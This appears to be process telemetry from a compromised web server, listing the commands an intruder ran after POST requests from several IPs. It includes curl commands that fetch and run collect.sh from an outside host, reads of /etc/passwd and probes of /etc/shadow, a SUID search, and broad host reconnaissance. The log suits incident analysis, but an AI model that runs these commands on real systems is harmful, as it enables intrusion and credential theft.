| 2026-10-31 01:05:11 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | ls -ld /var/www/html/includes |
| 2026-10-31 01:05:24 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | ls -ld /var/lib/php/sessions |
| 2026-10-31 01:05:33 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent | bash -> bash | ls -ld /etc/cron.d |
| 2026-10-31 01:05:33 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent | bash -> bash | ls -ld /var/spool/cron /etc/cron.d |
| 2026-10-31 01:05:50 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent | bash -> bash | cat /proc/net/tcp |
| 2026-10-31 01:05:58 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent | bash -> bash | curl -sS -m 10 -o /tmp/ip.txt http://206.245.153.56:8088/tools/collect.sh |
| 2026-10-31 01:06:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent | bash -> bash | curl -sS -m 6 http://ifconfig.me |
| 2026-10-31 01:06:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent | bash -> bash | curl -sS -m 8 http://206.245.153.56:8088/ip |
| 2026-10-31 01:06:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent | bash -> bash | curl -sS -m 8 http://ifconfig.me |
| 2026-10-31 01:06:37 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent | bash -> bash | cat /etc/resolv.conf |
| 2026-10-31 01:06:37 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent | bash -> bash | find / -xdev -perm -4000 -type f |
| 2026-10-31 01:07:00 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent | bash -> bash | ls -ld /var/tmp |
| 2026-10-31 01:07:23 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent | bash -> bash | ls -la /var/tmp |
| 2026-10-31 01:07:48 | Not attributed | Not attributed | bash -> bash | ls -ld /etc /etc/passwd /etc/nsswitch.conf |
| 2026-10-31 01:07:48 | Not attributed | Not attributed | bash -> bash | grep www-data /etc/passwd |
| 2026-10-31 01:07:57 | Not attributed | Not attributed | bash -> bash | awk -F: $1=="www-data"{print $1, $6, $7} /etc/passwd |
| 2026-10-31 01:07:57 | Not attributed | Not attributed | bash -> bash | cat /etc/passwd |
| 2026-10-31 01:08:23 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent | bash -> bash | ls -la / |
| 2026-10-31 01:08:58 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent | bash -> bash | cat /etc/passwd |
| 2026-10-31 01:08:58 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent | bash -> bash | ls -la /var/run/docker.sock /run/docker.sock |
| 2026-10-31 01:08:58 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent | bash -> bash | ls -ld /run /run/lock /var/lock |
| 2026-10-31 01:08:59 | Not attributed | Not attributed | bash -> bash | ls -l /usr/bin/mount /usr/bin/chsh |
| 2026-10-31 01:09:22 | Not attributed | Not attributed | bash -> bash | grep www-data /etc/passwd |
| 2026-10-31 01:09:32 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent | bash -> bash | ls -l /usr/bin/passwd /usr/bin/su /usr/bin/mount /usr/bin/umount /usr/bin/chsh /usr/bin/newgrp |
| 2026-10-31 01:09:32 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent | bash -> bash | ls -la /var/lib/apache2 |
| 2026-10-31 01:09:32 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent | bash -> bash | id |
| 2026-10-31 01:09:32 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent | bash -> bash | ls -la /var/www/html/includes |
| 2026-10-31 01:09:48 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent | bash -> bash | ls -ld /etc/php /etc/php/* |
| 2026-10-31 01:09:53 | Not attributed | Not attributed | bash -> bash | head -1 /etc/passwd |
| 2026-10-31 01:09:53 | Not attributed | Not attributed | bash -> bash | ls -l /etc/passwd |
| 2026-10-31 01:09:53 | Not attributed | Not attributed | bash -> bash | id |
| 2026-10-31 01:10:35 | Not attributed | Not attributed | bash -> bash | id -u |
| 2026-10-31 01:11:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | ls -ld /tmp /var/tmp |
| 2026-10-31 01:11:26 | Not attributed | Not attributed | bash -> bash | ls -l /etc/shadow |
| 2026-10-31 01:11:33 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | ls -l /etc/shadow |
| 2026-10-31 01:11:33 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | awk NR>1{split(,a,:); if(a[2]==0000) print L,a[1]} /proc/net/tcp |
| 2026-10-31 01:11:56 | Not attributed | Not attributed | bash -> bash | cp /etc/passwd /tmp/pw |
| 2026-10-31 01:11:56 | Not attributed | Not attributed | bash -> bash | curl -sS -o /tmp/collect.sh http://206.245.153.56:8088/tools/collect.sh |
| 2026-10-31 01:12:00 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | ls -l /etc/ld.so.preload |
| 2026-10-31 01:12:00 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | grep -c . /etc/shadow |
| 2026-10-31 01:12:01 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat |
| 2026-10-31 01:12:01 | Not attributed | Not attributed | sh -> sh | id -un |
| 2026-10-31 01:12:01 | Not attributed | Not attributed | sh -> sh | getent passwd www-data |
| 2026-10-31 01:12:01 | Not attributed | Not attributed | sh -> sh | lscpu |
| 2026-10-31 01:12:01 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device |
| 2026-10-31 01:12:01 | Not attributed | Not attributed | sh -> sh | uname -m |
| 2026-10-31 01:12:01 | Not attributed | Not attributed | sh -> sh | getconf LONG_BIT |
| 2026-10-31 01:12:01 | Not attributed | Not attributed | sh -> sh | cat /etc/debian_version /etc/alpine-release /etc/redhat-release |
| 2026-10-31 01:12:01 | Not attributed | Not attributed | sh -> sh | uname -a |
| 2026-10-31 01:12:01 | Not attributed | Not attributed | sh -> sh | uname -r |
| 2026-10-31 01:12:01 | Not attributed | Not attributed | sh -> sh | cat /etc/os-release |
| 2026-10-31 01:12:01 | Not attributed | Not attributed | sh -> sh | id |
| 2026-10-31 01:12:01 | Not attributed | Not attributed | timeout -> timeout | sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
|
| 2026-10-31 01:12:01 | Not attributed | Not attributed | bash -> sh | sh /tmp/collect.sh -i 1422 -n <REDACTED>-20261031 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 |
| 2026-10-31 01:12:01 | Not attributed | Not attributed | sh -> sh | whoami |
| 2026-10-31 01:12:01 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2 |
| 2026-10-31 01:12:01 | Not attributed | Not attributed | sh -> sh | id |
| 2026-10-31 01:12:06 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm |
| 2026-10-31 01:12:06 | Not attributed | Not attributed | sh -> sh | df -iP |
| 2026-10-31 01:12:06 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /o |
| 2026-10-31 01:12:06 | Not attributed | Not attributed | sh -> sh | df -hP |
| 2026-10-31 01:12:06 | Not attributed | Not attributed | sh -> sh | egrep ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo |
| 2026-10-31 01:12:06 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou |
| 2026-10-31 01:12:06 | Not attributed | Not attributed | sh -> sh | free -m |
| 2026-10-31 01:12:06 | Not attributed | Not attributed | sh -> sh | free -h |
| 2026-10-31 01:12:06 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /s |
| 2026-10-31 01:12:06 | Not attributed | Not attributed | sh -> sh | egrep -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo |
| 2026-10-31 01:12:06 | Not attributed | Not attributed | sh -> sh | nproc |
| 2026-10-31 01:12:11 | Not attributed | Not attributed | sh -> sh | find / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -size +50M -printf %s %p\n |
| 2026-10-31 01:12:11 | Not attributed | Not attributed | sh -> sh | lsblk |
| 2026-10-31 01:12:32 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do print |
| 2026-10-31 01:12:32 | Not attributed | Not attributed | timeout -> timeout | sh -c
